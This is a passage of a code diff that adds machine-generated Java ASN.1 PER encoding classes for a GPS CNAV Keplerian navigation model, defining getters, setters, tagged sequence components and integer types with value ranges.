+ this.cnavCrs_ = (NavModel_CNAVKeplerianSet.cnavCrsType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavCrsType setCnavCrsToNewInstance() {
+ cnavCrs_ = new NavModel_CNAVKeplerianSet.cnavCrsType();
+ return cnavCrs_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavCrcType cnavCrc_;
+ public NavModel_CNAVKeplerianSet.cnavCrcType getCnavCrc() {
+ return cnavCrc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavCrcType
+ */
+ public void setCnavCrc(Asn1Object value) {
+ this.cnavCrc_ = (NavModel_CNAVKeplerianSet.cnavCrcType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavCrcType setCnavCrcToNewInstance() {
+ cnavCrc_ = new NavModel_CNAVKeplerianSet.cnavCrcType();
+ return cnavCrc_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavCusType cnavCus_;
+ public NavModel_CNAVKeplerianSet.cnavCusType getCnavCus() {
+ return cnavCus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavCusType
+ */
+ public void setCnavCus(Asn1Object value) {
+ this.cnavCus_ = (NavModel_CNAVKeplerianSet.cnavCusType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavCusType setCnavCusToNewInstance() {
+ cnavCus_ = new NavModel_CNAVKeplerianSet.cnavCusType();
+ return cnavCus_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavCucType cnavCuc_;
+ public NavModel_CNAVKeplerianSet.cnavCucType getCnavCuc() {
+ return cnavCuc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavCucType
+ */
+ public void setCnavCuc(Asn1Object value) {
+ this.cnavCuc_ = (NavModel_CNAVKeplerianSet.cnavCucType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavCucType setCnavCucToNewInstance() {
+ cnavCuc_ = new NavModel_CNAVKeplerianSet.cnavCucType();
+ return cnavCuc_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavTop() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavTop();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavTopToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavTopType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavTop : "
+ + getCnavTop().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavURAindex() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavURAindex();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavURAindexToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavURAindexType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavURAindex : "
+ + getCnavURAindex().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavDeltaA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavDeltaA();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavDeltaAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavDeltaAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavDeltaA : "
+ + getCnavDeltaA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavAdot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavAdot();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavAdotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavAdotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavAdot : "
+ + getCnavAdot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavDeltaNo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavDeltaNo();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavDeltaNoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavDeltaNoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavDeltaNo : "
+ + getCnavDeltaNo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavDeltaNoDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavDeltaNoDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavDeltaNoDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavDeltaNoDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavDeltaNoDot : "
+ + getCnavDeltaNoDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavMo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavMo();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavMoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavMoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavMo : "
+ + getCnavMo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavE();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavE : "
+ + getCnavE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavOmega() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavOmega();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavOmegaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavOmegaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavOmega : "
+ + getCnavOmega().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavOMEGA0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavOMEGA0();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavOMEGA0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavOMEGA0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavOMEGA0 : "
+ + getCnavOMEGA0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavDeltaOmegaDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavDeltaOmegaDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavDeltaOmegaDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavDeltaOmegaDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavDeltaOmegaDot : "
+ + getCnavDeltaOmegaDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavIo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavIo();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavIoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavIoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavIo : "
+ + getCnavIo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavIoDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavIoDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavIoDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavIoDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavIoDot : "
+ + getCnavIoDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavCis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavCis();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavCisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavCisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavCis : "
+ + getCnavCis().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavCic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavCic();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavCicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavCicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavCic : "
+ + getCnavCic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavCrs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavCrs();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavCrsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavCrsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavCrs : "
+ + getCnavCrs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 16);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavCrc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavCrc();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavCrcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavCrcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavCrc : "
+ + getCnavCrc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 17);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavCus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavCus();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavCusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavCusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavCus : "
+ + getCnavCus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 18);
+
+ @Override public boolean isExplicitlySet() {
+ return getCnavCuc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCnavCuc();
+ }
+
+ @Override public void setToNewInstance() {
+ setCnavCucToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_CNAVKeplerianSet.cnavCucType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cnavCuc : "
+ + getCnavCuc().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavTopType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavTopType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavTopType() {
+ super();
+ setValueRange("0", "2015");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavTopType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavTopType != null) {
+ return ImmutableList.of(TAG_cnavTopType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavTopType from encoded stream.
+ */
+ public static cnavTopType fromPerUnaligned(byte[] encodedBytes) {
+ cnavTopType result = new cnavTopType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavTopType from encoded stream.
+ */
+ public static cnavTopType fromPerAligned(byte[] encodedBytes) {
+ cnavTopType result = new cnavTopType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavTopType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavURAindexType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavURAindexType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavURAindexType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavURAindexType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavURAindexType != null) {
+ return ImmutableList.of(TAG_cnavURAindexType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavURAindexType from encoded stream.
+ */
+ public static cnavURAindexType fromPerUnaligned(byte[] encodedBytes) {
+ cnavURAindexType result = new cnavURAindexType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavURAindexType from encoded stream.
+ */
+ public static cnavURAindexType fromPerAligned(byte[] encodedBytes) {
+ cnavURAindexType result = new cnavURAindexType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavURAindexType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavDeltaAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavDeltaAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavDeltaAType() {
+ super();
+ setValueRange("-33554432", "33554431");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavDeltaAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavDeltaAType != null) {
+ return ImmutableList.of(TAG_cnavDeltaAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavDeltaAType from encoded stream.
+ */
+ public static cnavDeltaAType fromPerUnaligned(byte[] encodedBytes) {
+ cnavDeltaAType result = new cnavDeltaAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavDeltaAType from encoded stream.
+ */
+ public static cnavDeltaAType fromPerAligned(byte[] encodedBytes) {
+ cnavDeltaAType result = new cnavDeltaAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavDeltaAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavAdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavAdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavAdotType() {
+ super();
+ setValueRange("-16777216", "16777215");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavAdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavAdotType != null) {
+ return ImmutableList.of(TAG_cnavAdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavAdotType from encoded stream.
+ */
+ public static cnavAdotType fromPerUnaligned(byte[] encodedBytes) {
+ cnavAdotType result = new cnavAdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavAdotType from encoded stream.
+ */
+ public static cnavAdotType fromPerAligned(byte[] encodedBytes) {
+ cnavAdotType result = new cnavAdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavAdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavDeltaNoType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavDeltaNoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavDeltaNoType() {
+ super();
+ setValueRange("-65536", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavDeltaNoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cnavDeltaNoType != null) {
+ return ImmutableList.of(TAG_cnavDeltaNoType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cnavDeltaNoType from encoded stream.
+ */
+ public static cnavDeltaNoType fromPerUnaligned(byte[] encodedBytes) {
+ cnavDeltaNoType result = new cnavDeltaNoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cnavDeltaNoType from encoded stream.
+ */
+ public static cnavDeltaNoType fromPerAligned(byte[] encodedBytes) {
+ cnavDeltaNoType result = new cnavDeltaNoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cnavDeltaNoType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cnavDeltaNoDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cnavDeltaNoDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cnavDeltaNoDotType() {
+ super();
+ setValueRange("-4194304", "4194303");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cnavDeltaNoDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
